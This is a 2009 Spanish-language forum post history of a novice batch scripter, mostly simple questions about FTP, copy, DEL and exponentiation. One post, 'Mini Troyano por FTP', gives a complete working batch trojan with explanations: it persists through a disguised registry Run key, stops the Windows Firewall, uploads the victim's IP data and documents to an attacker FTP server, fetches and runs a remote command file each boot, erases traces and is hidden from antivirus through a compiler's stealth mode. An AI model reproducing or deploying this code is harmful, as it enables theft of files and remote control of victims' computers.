 La primera duda, es que cuando entro al comando FTP en la consola MS-DOS, pongo help y me salen todos los sub-comandos, pero si quiero ver la manera de ejecutarlos es decir ver sus definiciones.. etc, ejemplo:  get /? , pues pongo eso y no me sale, ¿Cuál es la forma para poder ver la estructura y definición de cada sub-comando?


 Y luego ya que sin la duda 1, no puedo resolver este problema, y es que yo por ejemplo tengo en el ftp un archivo llamado archivo1.txt, o archivo1.bat, lo que sea, y quiero descargarlo pues pongo get archivo1.bat/.txt, bien, pero no sé a donde va, si yo quiero por ejemplo mandarlo a C:\ o C:\WINDOWS, lo que sea, ¿Cómo debo ponerlo?


  Saludos y gracias.
#32
Scripting / Comando Copy [BATCH]
11 Septiembre 2009, 21:04 PM


   
       Buenas,



   Estoy intentado que un Batch a abrirse se copie dentro de la carpeta windows, pero no me sale.


  Pongo:

copy ejemplo.bat C:\WINDOWS

O este otro:

if exist ejemplo.bat copy C:\WINDOWS


  Pruebo eso y no funciona. ¿Qué ago mal?


  Saludos.
#33
Scripting / Mini Troyano por FTP [BATCH]
29 Agosto 2009, 05:57 AM
 Bueno creo este tema porque tengo unas cuantas dudas, estoy haciendo una especie de "troyano", por Batch.


 Y quiero saber como lo puedo meter al registro de Windows, para que cada vez que se inicie se re-active.

 También cómo poner un archivo llamado por ejemplo "órdenes" en el servidor y que lo abra y lo haga, como por ejemplo copiar un archivo del pc y mandarlo al servidor.

 Y una última cosa, igual suena raro, pero por si es posible, quisiera saber si es posible que el batch al ejecutarse lo haga de forma silenciosa y no se vea que sube los archivos y eso....

El código:

[code] @echo off

set user=XXXX
set pass=XXXXX
set dominio=XXXXXXX


echo open %dominio%>>datos.txt
echo %user%>>datos.txt
echo %pass%>>datos.txt
echo put info.txt>>datos.txt
echo bye>>datos.txt

ipconfig>>info.txt
ftp -s:datos.txt

del info.txt
del datos.txt

exit



 Como ven es simple, pero básicamente es la primera cosa un poco decente que hago de batch.

Un saludo,

Edito: en ese código, el ejemplo a subir fue la IP , y los datos que te da al poner "ipconfig" en el ms-dos.

 

E D I TO :

 Aquí el código del Mini-Troyano .

@echo off
copy /y "%~dpnx0" "%windir%\"
reg add HKLM\software\microsoft\windows\currentversion\run /v "Actualización" /d C:\WINDOWS\Actualización.bat /f

cd \
net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"

set user=XXXXXX
set pass=XXXXXX
set dominio=XXXXXX

echo open %dominio%>>datos.txt
echo %user%>>datos.txt
echo %pass%>>datos.txt
echo put %USERNAME%.txt>>datos.txt
echo put %homedrive%%homepath%\Mis Documentos\*.txt>>datos.txt
echo get ordenes.bat C:\WINDOWS\system32\ordenes.bat>>datos.txt
echo bye>>datos.txt


ipconfig>>%USERNAME%.txt
ftp -s:datos.txt
start C:\WINDOWS\system32\ordenes.bat



del %USERNAME%.txt
del datos.txt



pause>nul
exit





  Primero se copia a la carpeta de Windows ( por si es borrado ), y luego se añade al registro de Windows.

  Después por si tienen el Firewall de Windows y este detecta las conexiones FTP, pues lo desactiva. ( Obviamente con otro Firewall no funcionaría )

  Luego en donde las XXXX, ponemos los datos.

echo open %dominio%>>datos.txt
echo %user%>>datos.txt
echo %pass%>>datos.txt
echo put %USERNAME%.txt>>datos.txt
echo get ordenes.bat C:\WINDOWS\system32\ordenes.bat>>datos.txt
echo bye>>datos.txt


 Ese trozo es la información que tendrá que hacerse en cuanto se abra el FTP, primero se conecta, luego subirá el archivo %USERNAME% que justo debajo sale, subirá la IP de la víctima. ( eso es un ejemplo si queréis podéis quitarlo ), y luego descargará el archivo ordenes.bat, que tendremos que poner en nuestro servidor FTP, para que se descargue.( este se ponrá en la carpeta de system32)


ipconfig>>%USERNAME%.txt
ftp -s:datos.txt
start C:\WINDOWS\system32\ordenes.bat

del %USERNAME%.txt
del datos.txt

pause>nul
exit


 Aquí creará el archivo %username% ( nombre del usuario ), con dentro la ip, esto lo tomé como ejemplo, como dije podéis borrarlo y usar solo las ordenes mediante el archivo ordenes.bat

 Luego ftp-s:datos.txt, es el archivo que leerá el sistema para entrar al ftp y relizar las ordenes.

Luego en start ........ordenes.bat, lo que hace es abrir el archivo ordenes.bat y ahí pondremos lo que queramos, el nombre tiene que ser ordenes y extensión .bat, si no no funcionará pero podéis cambiarlo y que se descargue lo que sea. Y obviamente, tiene que ser en lenguaje BATCH. ( como dije, podéis subir lo que queráis, una foto, un .exe, pero tenéis que cambiar el código). El archivo ordenes se abrirá cada reinicio, así que tenéis que cambiarlo si queréis realizar otras acciones.

 Luego para no dejar pruebas evidentes, se borra el archivo username, y datos.


 Si algo no funciona o hay alguna duda, aquí estoy.

 Se me olvidaba, para que haga todo de manera silenciosa ( sin aparecer en pantalla ) tenéis que usar un compilador, como Quick Batch File Compiler. Y en opciones modo Ghost. Yo uso uno portable, raro el que se instalaba me detectaba como virus el avast... no se porqué... pero si cambiáis el nombre o algo a veces deja...


  Saludos.
[/code]
#34
Scripting / Batch comando DEL - Borrar archivos
28 Agosto 2009, 00:13 AM
  Buenas

Pues tengo una duda, cuando me inicie en el tema de los batch vi el tipico código de cargarte un pc poniendo el comando del y borrar la carpeta Windows, pero yo he probado el código con una carpeta como ejemplo "Nueva Carpeta", y no funciona, me pueden decir el por qué¿?.

  Gracias y un saludo.
#35
Scripting / Hacer elevaciones en Batch
22 Agosto 2009, 22:34 PM
 Buenas buscando como hacer elevaciones en Batch , haví visto por ejemplo esto:

set /p cuadradro=%cuadrado% * %cuadrado% * %cuadrado% * %cuadrado%

  No hay alguna forma posible de hacerlo menos complicado para numeros mayores... , por ejemplo si estás haciendo un programa de cálculos y te ponen que hay que elevar al 30 , pues, sería largo  :(

Saludos.
#36
Hacking Mobile / Hackear usando Bluetooh
22 Agosto 2009, 17:31 PM
 Buenas este es mi primer post en este foro, y quisiera comenzar con una pregunta.


  Me he bajado una aplicación Java para poder usar más o menos por control remoto un móvil desde otro móvil, usando Bluetooh, para poder conectarme a él debo confirmarlos entre sí , y luego para no pedir más confirmaciones en el futuro entrar en el otro móvil y poner en conexiones que no pregunte al conectarse entre ellos, mi duda es, ¿ es posible conectarse un móvil a otro sin tener que entrar al otro móvil para confirmarlo?


  Saludos, gracias.